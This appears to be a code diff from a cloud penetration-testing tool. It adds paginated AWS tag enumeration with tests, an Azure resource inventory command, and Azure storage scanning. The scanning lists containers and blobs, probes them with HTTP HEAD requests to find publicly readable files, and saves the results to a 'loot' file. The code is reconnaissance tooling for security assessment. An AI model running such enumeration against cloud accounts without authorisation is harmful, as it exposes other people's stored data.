@@ -212,62 +238,84 @@ func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore ch
|
||||
<-semaphore
|
||||
}()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
for {
|
||||
GetResources, err := m.ResourceGroupsTaggingApiClient.GetResources(
|
||||
context.TODO(),
|
||||
&resourcegroupstaggingapi.GetResourcesInput{
|
||||
PaginationToken: PaginationControl,
|
||||
},
|
||||
func(o *resourcegroupstaggingapi.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
resources, err := m.getResources(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
//var parsedArn types.Arn
|
||||
for _, resource := range resources {
|
||||
var resourceType string
|
||||
resourceArn := aws.ToString(resource.ResourceARN)
|
||||
parsedArn, err := arn.Parse(resourceArn)
|
||||
if parsedArn.Service != "s3" {
|
||||
resourceType = strings.Split(parsedArn.Resource, ":")[0]
|
||||
resourceType = strings.Split(resourceType, "/")[0]
|
||||
} else {
|
||||
resourceType = "bucket"
|
||||
}
|
||||
//resourceName := strings.Split(parsedArn.Resource, ":")[]
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
//var parsedArn types.Arn
|
||||
for _, resource := range GetResources.ResourceTagMappingList {
|
||||
var resourceType string
|
||||
resourceArn := aws.ToString(resource.ResourceARN)
|
||||
parsedArn, err := arn.Parse(resourceArn)
|
||||
if parsedArn.Service != "s3" {
|
||||
resourceType = strings.Split(parsedArn.Resource, ":")[0]
|
||||
resourceType = strings.Split(resourceType, "/")[0]
|
||||
} else {
|
||||
resourceType = "bucket"
|
||||
|
||||
for _, tag := range resource.Tags {
|
||||
key := aws.ToString(tag.Key)
|
||||
value := aws.ToString(tag.Value)
|
||||
|
||||
dataReceiver <- Tag{
|
||||
AWSService: parsedArn.Service,
|
||||
Arn: resourceArn,
|
||||
Name: parsedArn.Resource,
|
||||
Region: r,
|
||||
Type: resourceType,
|
||||
Key: key,
|
||||
Value: value,
|
||||
}
|
||||
//resourceName := strings.Split(parsedArn.Resource, ":")[]
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *TagsModule) getResources(r string) ([]types.ResourceTagMapping, error) {
|
||||
var PaginationControl *string
|
||||
var resources []types.ResourceTagMapping
|
||||
|
||||
// a for loop that accepts user input. If no user input, it will continue to paginate until there are no mor pages. If there is user input, it will paginate until the user input is reached.
|
||||
|
||||
for {
|
||||
if len(resources) < m.MaxResourcesPerRegion || m.MaxResourcesPerRegion == 0 {
|
||||
GetResources, err := m.ResourceGroupsTaggingApiInterface.GetResources(
|
||||
context.TODO(),
|
||||
&resourcegroupstaggingapi.GetResourcesInput{
|
||||
PaginationToken: PaginationControl,
|
||||
},
|
||||
func(o *resourcegroupstaggingapi.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return resources, err
|
||||
}
|
||||
|
||||
resources = append(resources, GetResources.ResourceTagMappingList...)
|
||||
|
||||
if aws.ToString(GetResources.PaginationToken) != "" {
|
||||
PaginationControl = GetResources.PaginationToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
|
||||
for _, tag := range resource.Tags {
|
||||
key := aws.ToString(tag.Key)
|
||||
value := aws.ToString(tag.Value)
|
||||
|
||||
dataReceiver <- Tag{
|
||||
AWSService: parsedArn.Service,
|
||||
Arn: resourceArn,
|
||||
Name: parsedArn.Resource,
|
||||
Region: r,
|
||||
Type: resourceType,
|
||||
Key: key,
|
||||
Value: value,
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if aws.ToString(GetResources.PaginationToken) != "" {
|
||||
PaginationControl = GetResources.PaginationToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
return resources, nil
|
||||
}
|
||||
|
||||
}
|
||||
return resources, nil
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
)
|
||||
|
||||
type MockedTagsGetResources struct {
|
||||
}
|
||||
|
||||
func (m *MockedTagsGetResources) GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error) {
|
||||
testResources := []types.ResourceTagMapping{}
|
||||
testResources = append(testResources, types.ResourceTagMapping{
|
||||
ResourceARN: aws.String("arn:aws:ec2:us-east-1:123456789012:instance/i-1234567890abcdef0"),
|
||||
Tags: []types.Tag{
|
||||
{
|
||||
Key: aws.String("Name"),
|
||||
Value: aws.String("test"),
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
testGetResourcesOutput := &resourcegroupstaggingapi.GetResourcesOutput{
|
||||
ResourceTagMappingList: testResources,
|
||||
}
|
||||
|
||||
return testGetResourcesOutput, nil
|
||||
}
|
||||
|
||||
func TestTags(t *testing.T) {
|
||||
subtests := []struct {
|
||||
name string
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule TagsModule
|
||||
expectedResult []Tag
|
||||
}{
|
||||
{
|
||||
name: "TestTags",
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: TagsModule{
|
||||
ResourceGroupsTaggingApiInterface: &MockedTagsGetResources{},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/test"),
|
||||
UserId: aws.String("AIDAJDPLRKLG7UEXAMPLE"),
|
||||
},
|
||||
AWSRegions: []string{"us-east-1"},
|
||||
OutputFormat: "table",
|
||||
Goroutines: 10,
|
||||
AWSProfile: "test",
|
||||
WrapTable: false,
|
||||
MaxResourcesPerRegion: 100,
|
||||
},
|
||||
expectedResult: []Tag{
|
||||
{
|
||||
AWSService: "ec2",
|
||||
Region: "us-east-1",
|
||||
Type: "instance",
|
||||
Key: "Name",
|
||||
Value: "test",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
internal.MockFileSystem(true)
|
||||
for _, subtest := range subtests {
|
||||
t.Run(subtest.name, func(t *testing.T) {
|
||||
subtest.testModule.PrintTags(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
|
||||
if len(subtest.testModule.Tags) != len(subtest.expectedResult) {
|
||||
t.Errorf("Expected %d results, got %d", len(subtest.expectedResult), len(subtest.testModule.Tags))
|
||||
}
|
||||
for i, ExpectedTag := range subtest.expectedResult {
|
||||
|
||||
if ExpectedTag.Type != subtest.testModule.Tags[i].Type {
|
||||
t.Errorf("Expected Type = %s, got %s", subtest.testModule.Tags[i].Type, ExpectedTag.Type)
|
||||
}
|
||||
if ExpectedTag.Key != subtest.testModule.Tags[i].Key {
|
||||
t.Errorf("Expected Key = %s, got %s", subtest.testModule.Tags[i].Key, ExpectedTag.Key)
|
||||
}
|
||||
if ExpectedTag.Value != subtest.testModule.Tags[i].Value {
|
||||
t.Errorf("Expected Value = %s, got %s", subtest.testModule.Tags[i].Value, ExpectedTag.Value)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
+1
-1
@@ -56,7 +56,7 @@ func getVMsPerTenantID(AzTenantID string) ([]string, [][]string) {
|
||||
var resultsBody, b [][]string
|
||||
var err error
|
||||
|
||||
for _, s := range getSubscriptionsPerTenantID(AzTenantID) {
|
||||
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
|
||||
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
|
||||
resultsHeader, b, err = getComputeRelevantData(s, rg)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
func AzInventoryCommand(AzTenantID, AzSubscriptionID, Version string, AzVerbosity int, AzWrapTable bool) error {
|
||||
o := internal.OutputClient{
|
||||
Verbosity: AzVerbosity,
|
||||
CallingModule: globals.AZ_INVENTORY_MODULE_NAME,
|
||||
Table: internal.TableClient{
|
||||
Wrap: AzWrapTable,
|
||||
},
|
||||
}
|
||||
|
||||
if AzTenantID != "" && AzSubscriptionID == "" {
|
||||
// To-Do: implement per tentant
|
||||
fmt.Println("Inventory per tenant not yet implemented. Please use the --subscription flag instead.")
|
||||
|
||||
} else if AzTenantID == "" && AzSubscriptionID != "" {
|
||||
|
||||
// ./cloudfox azure storage --subscription SUBSCRIPTION_ID
|
||||
fmt.Printf(
|
||||
"[%s][%s] Gathering inventory for subscription %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
|
||||
color.CyanString(o.CallingModule),
|
||||
AzSubscriptionID)
|
||||
|
||||
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
|
||||
|
||||
header, body, err := prepareInventoryTable(AzTenantID, AzSubscriptionID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
o.Table.TableFiles = append(o.Table.TableFiles,
|
||||
internal.TableFile{
|
||||
Header: header,
|
||||
Body: body,
|
||||
Name: globals.AZ_INVENTORY_MODULE_NAME})
|
||||
o.PrefixIdentifier = fmt.Sprintf("subscription-%s", AzSubscriptionID)
|
||||
o.Table.DirectoryName = filepath.Join(
|
||||
globals.CLOUDFOX_BASE_DIRECTORY,
|
||||
globals.AZ_DIR_BASE,
|
||||
"subscriptions",
|
||||
AzSubscriptionID)
|
||||
|
||||
} else {
|
||||
// Error: please make a valid flag selection
|
||||
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
|
||||
}
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
return nil
|
||||
}
|
||||
|
||||
func prepareInventoryTable(tenantID, subscriptionID string) ([]string, [][]string, error) {
|
||||
resources, err := getResources(tenantID, subscriptionID)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
inventory := make(map[string]map[string]int)
|
||||
resourceTypes := make(map[string]bool)
|
||||
resourceLocations := make(map[string]bool)
|
||||
|
||||
for _, resource := range resources {
|
||||
resourceType := ptr.ToString(resource.Type)
|
||||
resourceLocation := ptr.ToString(resource.Location)
|
||||
|
||||
_, ok := inventory[resourceType]
|
||||
if !ok {
|
||||
inventory[resourceType] = make(map[string]int)
|
||||
}
|
||||
inventory[resourceType][resourceLocation]++
|
||||
resourceTypes[resourceType] = true
|
||||
resourceLocations[resourceLocation] = true
|
||||
}
|
||||
|
||||
header := []string{"Resource Type"}
|
||||
var body [][]string
|
||||
for location := range resourceLocations {
|
||||
header = append(header, location)
|
||||
}
|
||||
|
||||
for t := range resourceTypes {
|
||||
row := []string{t}
|
||||
for location := range resourceLocations {
|
||||
count, ok := inventory[t][location]
|
||||
if ok {
|
||||
row = append(row, fmt.Sprintf("%d", count))
|
||||
} else {
|
||||
row = append(row, "-")
|
||||
}
|
||||
}
|
||||
body = append(body, row)
|
||||
}
|
||||
|
||||
sort.Slice(body, func(i, j int) bool {
|
||||
return body[i][0] < body[j][0]
|
||||
})
|
||||
|
||||
return header, body, nil
|
||||
}
|
||||
|
||||
func getResources(tenantID, subscriptionID string) ([]*armresources.GenericResourceExpanded, error) {
|
||||
client := internal.GetARMresourcesClient(tenantID, subscriptionID)
|
||||
|
||||
var resources []*armresources.GenericResourceExpanded
|
||||
|
||||
pager := client.NewListPager(nil)
|
||||
for pager.More() {
|
||||
nextResult, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resources = append(resources, nextResult.Value...)
|
||||
}
|
||||
|
||||
return resources, nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"testing"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestAzInventoryPoC(t *testing.T) {
|
||||
// Using the new version implementation
|
||||
// https://github.com/Azure/azure-sdk-for-go/blob/main/documentation/MIGRATION_GUIDE.md
|
||||
|
||||
tenantID := ""
|
||||
subscriptionID := ""
|
||||
|
||||
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
client, err := armresources.NewClient(subscriptionID, cred, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var resources []*armresources.GenericResourceExpanded
|
||||
|
||||
pager := client.NewListPager(nil)
|
||||
for pager.More() {
|
||||
nextResult, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
resources = append(resources, nextResult.Value...)
|
||||
}
|
||||
|
||||
inventory := make(map[string]map[string]int)
|
||||
resourceTypes := make(map[string]bool)
|
||||
resourceLocations := make(map[string]bool)
|
||||
|
||||
for _, resource := range resources {
|
||||
resourceType := ptr.ToString(resource.Type)
|
||||
resourceLocation := ptr.ToString(resource.Location)
|
||||
|
||||
_, ok := inventory[resourceType]
|
||||
if !ok {
|
||||
inventory[resourceType] = make(map[string]int)
|
||||
}
|
||||
inventory[resourceType][resourceLocation]++
|
||||
resourceTypes[resourceType] = true
|
||||
resourceLocations[resourceLocation] = true
|
||||
}
|
||||
|
||||
header := []string{"Resource Type"}
|
||||
var body [][]string
|
||||
for location := range resourceLocations {
|
||||
header = append(header, location)
|
||||
}
|
||||
|
||||
for t := range resourceTypes {
|
||||
row := []string{t}
|
||||
for location := range resourceLocations {
|
||||
count, ok := inventory[t][location]
|
||||
if ok {
|
||||
row = append(row, fmt.Sprintf("%d", count))
|
||||
} else {
|
||||
row = append(row, "-")
|
||||
}
|
||||
}
|
||||
body = append(body, row)
|
||||
}
|
||||
|
||||
sort.Slice(body, func(i, j int) bool {
|
||||
return body[i][0] < body[j][0]
|
||||
})
|
||||
|
||||
internal.MockFileSystem(true)
|
||||
internal.OutputSelector(2, "table", header, body, ".", "test.txt", "inventory", true, "sub-11111111-1111-11111-1111-1111111111111111")
|
||||
}
|
||||
+168
-24
@@ -4,12 +4,14 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/storage/mgmt/storage"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob/container"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
@@ -17,10 +19,14 @@ import (
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
// Color functions
|
||||
var cyan = color.New(color.FgCyan).SprintFunc()
|
||||
|
||||
func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version string, AzVerbosity int, AzWrapTable bool) error {
|
||||
var err error
|
||||
var header []string
|
||||
var body [][]string
|
||||
var publicBlobURLs []string
|
||||
var outputDirectory, controlMessagePrefix string
|
||||
|
||||
if AzTenantID != "" && AzSubscriptionID == "" {
|
||||
@@ -30,7 +36,7 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
|
||||
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
|
||||
AzTenantID)
|
||||
header, body, err = getStorageInfoPerTenant(AzTenantID)
|
||||
header, body, publicBlobURLs, err = getStorageInfoPerTenant(AzTenantID)
|
||||
controlMessagePrefix = fmt.Sprintf("tenant-%s", AzTenantID)
|
||||
outputDirectory = filepath.Join(
|
||||
globals.CLOUDFOX_BASE_DIRECTORY,
|
||||
@@ -45,7 +51,8 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
|
||||
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
|
||||
AzSubscriptionID)
|
||||
header, body, err = getStorageInfoPerSubscription(AzSubscriptionID)
|
||||
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
|
||||
header, body, publicBlobURLs, err = getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID)
|
||||
controlMessagePrefix = fmt.Sprintf("subscription-%s", AzSubscriptionID)
|
||||
outputDirectory = filepath.Join(
|
||||
globals.CLOUDFOX_BASE_DIRECTORY,
|
||||
@@ -63,59 +70,107 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
|
||||
if body != nil {
|
||||
internal.OutputSelector(AzVerbosity, AzOutputFormat, header, body, outputDirectory, fileNameWithoutExtension, globals.AZ_STORAGE_MODULE_NAME, AzWrapTable, controlMessagePrefix)
|
||||
}
|
||||
if publicBlobURLs != nil {
|
||||
err = writeBlobURLslootFile(globals.AZ_STORAGE_MODULE_NAME, controlMessagePrefix, outputDirectory, publicBlobURLs)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getStorageInfoPerTenant(AzTenantID string) ([]string, [][]string, error) {
|
||||
func writeBlobURLslootFile(callingModule, controlMessagePrefix, outputDirectory string, publicBlobURLs []string) error {
|
||||
lootDirectory := filepath.Join(outputDirectory, "loot")
|
||||
lootFilePath := filepath.Join(lootDirectory, "public-blob-urls.txt")
|
||||
|
||||
err := os.MkdirAll(lootDirectory, os.ModePerm)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
file, err := os.Create(lootFilePath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
for _, url := range publicBlobURLs {
|
||||
_, err := file.WriteString(url + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot file written to [%s]\n", cyan(callingModule), cyan(controlMessagePrefix), file.Name())
|
||||
return nil
|
||||
}
|
||||
|
||||
func getStorageInfoPerTenant(AzTenantID string) ([]string, [][]string, []string, error) {
|
||||
var err error
|
||||
var header []string
|
||||
var body, b [][]string
|
||||
var publicBlobURLs []string
|
||||
|
||||
for _, s := range getSubscriptionsPerTenantID(AzTenantID) {
|
||||
header, b, err = getRelevantStorageAccountData(ptr.ToString(s.SubscriptionID))
|
||||
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
|
||||
header, b, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, nil, err
|
||||
} else {
|
||||
body = append(body, b...)
|
||||
}
|
||||
}
|
||||
return header, body, nil
|
||||
return header, body, publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getStorageInfoPerSubscription(AzSubscriptionID string) ([]string, [][]string, error) {
|
||||
func getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID string) ([]string, [][]string, []string, error) {
|
||||
var err error
|
||||
var header []string
|
||||
var body [][]string
|
||||
var publicBlobURLs []string
|
||||
|
||||
for _, s := range getSubscriptions() {
|
||||
if ptr.ToString(s.SubscriptionID) == AzSubscriptionID {
|
||||
header, body, err = getRelevantStorageAccountData(ptr.ToString(s.SubscriptionID))
|
||||
header, body, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
return header, body, nil
|
||||
return header, body, publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getRelevantStorageAccountData(subscriptionID string) ([]string, [][]string, error) {
|
||||
tableHeader := []string{"Subscription ID", "Storage Account Name", "Kind", "Public Blob Allowed"}
|
||||
func getRelevantStorageAccountData(tenantID, subscriptionID string) ([]string, [][]string, []string, error) {
|
||||
tableHeader := []string{"Subscription ID", "Storage Account Name", "Container Name", "Access Status"}
|
||||
var tableBody [][]string
|
||||
var publicBlobURLs []string
|
||||
storageAccounts, err := getStorageAccounts(subscriptionID)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
for _, sa := range storageAccounts {
|
||||
tableBody = append(tableBody,
|
||||
[]string{
|
||||
subscriptionID,
|
||||
ptr.ToString(sa.Name),
|
||||
string(sa.Kind),
|
||||
strconv.FormatBool(ptr.ToBool(sa.AllowBlobPublicAccess)),
|
||||
},
|
||||
)
|
||||
blobClient, err := internal.GetStorageAccountBlobClient(tenantID, ptr.ToString(sa.Name))
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
containers, err := getStorageAccountContainers(blobClient)
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
for containerName, accessType := range containers {
|
||||
tableBody = append(tableBody,
|
||||
[]string{
|
||||
subscriptionID,
|
||||
ptr.ToString(sa.Name),
|
||||
containerName,
|
||||
accessType})
|
||||
}
|
||||
urls, err := getPublicBlobURLs(blobClient, ptr.ToString(sa.Name), containers)
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
publicBlobURLs = append(publicBlobURLs, urls...)
|
||||
}
|
||||
return tableHeader, tableBody, nil
|
||||
return tableHeader, tableBody, publicBlobURLs, nil
|
||||
}
|
||||
|
||||
var getStorageAccounts = getStorageAccountsOriginal
|
||||
@@ -150,3 +205,92 @@ func mockedGetStorageAccounts(subscriptionID string) ([]storage.Account, error)
|
||||
}
|
||||
return storageAccountsResults, nil
|
||||
}
|
||||
|
||||
func getStorageAccountContainers(client *azblob.Client) (map[string]string, error) {
|
||||
containers := make(map[string]string)
|
||||
pager := client.NewListContainersPager(&azblob.ListContainersOptions{
|
||||
Include: azblob.ListContainersInclude{Metadata: true, Deleted: true},
|
||||
})
|
||||
for pager.More() {
|
||||
resp, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, container := range resp.ContainerItems {
|
||||
if container.Properties.PublicAccess != nil {
|
||||
containers[ptr.ToString(container.Name)] = "public"
|
||||
} else {
|
||||
containers[ptr.ToString(container.Name)] = "private"
|
||||
}
|
||||
}
|
||||
}
|
||||
return containers, nil
|
||||
}
|
||||
|
||||
func getPublicBlobURLs(client *azblob.Client, storageAccountName string, containers map[string]string) ([]string, error) {
|
||||
var publicBlobURLs []string
|
||||
for containerName, accessType := range containers {
|
||||
if accessType == "public" {
|
||||
url, err := getPublicBlobURLsForContainer(client, storageAccountName, containerName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
publicBlobURLs = append(publicBlobURLs, url...)
|
||||
}
|
||||
}
|
||||
return publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getPublicBlobURLsForContainer(client *azblob.Client, storageAccountName, containerName string) ([]string, error) {
|
||||
blobNames, err := getAllBlobsForContainer(client, containerName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
publicBlobURLs, err := validatePublicBlobURLs(storageAccountName, containerName, blobNames)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getAllBlobsForContainer(blobClient *azblob.Client, containerName string) ([]string, error) {
|
||||
var blobNames []string
|
||||
|
||||
pager := blobClient.NewListBlobsFlatPager(containerName, &azblob.ListBlobsFlatOptions{
|
||||
Include: container.ListBlobsInclude{Deleted: true, Versions: true},
|
||||
})
|
||||
|
||||
for pager.More() {
|
||||
resp, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, b := range resp.Segment.BlobItems {
|
||||
blobNames = append(blobNames, ptr.ToString(b.Name))
|
||||
}
|
||||
}
|
||||
|
||||
return blobNames, nil
|
||||
}
|
||||
|
||||
func validatePublicBlobURLs(storageAccountName, containerName string, blobNames []string) ([]string, error) {
|
||||
var publicBlobURLs []string
|
||||
|
||||
if blobNames == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
for _, b := range blobNames {
|
||||
blobURL := fmt.Sprintf("https://%s.blob.core.windows.net/%s/%s", storageAccountName, containerName, b)
|
||||
|
||||
response, err := http.Head(blobURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if response.StatusCode == http.StatusOK {
|
||||
publicBlobURLs = append(publicBlobURLs, blobURL)
|
||||
}
|
||||
}
|
||||
return publicBlobURLs, nil
|
||||
}
|
||||
@@ -9,6 +9,8 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
)
|
||||
|
||||
// TO-DO: add blob URL enumeration to this table test.
|
||||
// This test won't work anymore until blob URL enumeration is added.
|
||||
func TestAzStorageCommand(t *testing.T) {
|
||||
fmt.Println()
|
||||
fmt.Println("[test case] Azure Storage Accounts")
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
[
|
||||
{
|
||||
"storage_account_name": "storagedo89vl86ey",
|
||||
"blob_urls": [
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
|
||||
]
|
||||
},
|
||||
{
|
||||
"storage_account_name": "storagedo89vl86ey",
|
||||
"blob_urls": [
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
|
||||
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
|
||||
]
|
||||
}
|
||||
]
|
||||
+11
-1
@@ -50,7 +50,17 @@ func getWhoamiRelevantDataPerRG() ([]string, [][]string) {
|
||||
return tableHead, tableBody
|
||||
}
|
||||
|
||||
func getSubscriptionsPerTenantID(tenantID string) []subscriptions.Subscription {
|
||||
func GetTenantIDPerSubscription(subscriptionID string) *string {
|
||||
subs := getSubscriptions()
|
||||
for _, s := range subs {
|
||||
if ptr.ToString(s.SubscriptionID) == subscriptionID {
|
||||
return s.TenantID
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetSubscriptionsPerTenantID(tenantID string) []subscriptions.Subscription {
|
||||
subs := getSubscriptions()
|
||||
var results []subscriptions.Subscription
|
||||
for _, s := range subs {
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestAzWhoamiCommand(t *testing.T) {
|
||||
@@ -48,3 +49,7 @@ func TestAzWhoamiCommand(t *testing.T) {
|
||||
AzWhoamiCommand(s.version, s.wrapTableOutput)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTest(t *testing.T) {
|
||||
fmt.Println(ptr.ToString(GetTenantIDPerSubscription("4cedc5dd-e3ad-468d-bf66-32e31bdb9148")))
|
||||
}
|
||||
+760
-280
File diff suppressed because it is too large.
Load diff
+28
-3
@@ -33,7 +33,28 @@ var (
|
||||
Display Available Azure CLI Sessions:
|
||||
./cloudfox az whoami`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
azure.AzWhoamiCommand(cmd.Root().Version, AzWrapTable)
|
||||
err := azure.AzWhoamiCommand(cmd.Root().Version, AzWrapTable)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
},
|
||||
}
|
||||
AzInventoryCommand = &cobra.Command{
|
||||
Use: "inventory",
|
||||
Aliases: []string{"inv"},
|
||||
Short: "Display an inventory table of all resources per location",
|
||||
Long: `
|
||||
Enumerate inventory for a specific tenant:
|
||||
./cloudfox az inventory --tenant TENANT_ID
|
||||
|
||||
Enumerate inventory for a specific subscription:
|
||||
./cloudfox az inventory --subscription SUBSCRIPTION_ID
|
||||
`,
|
||||
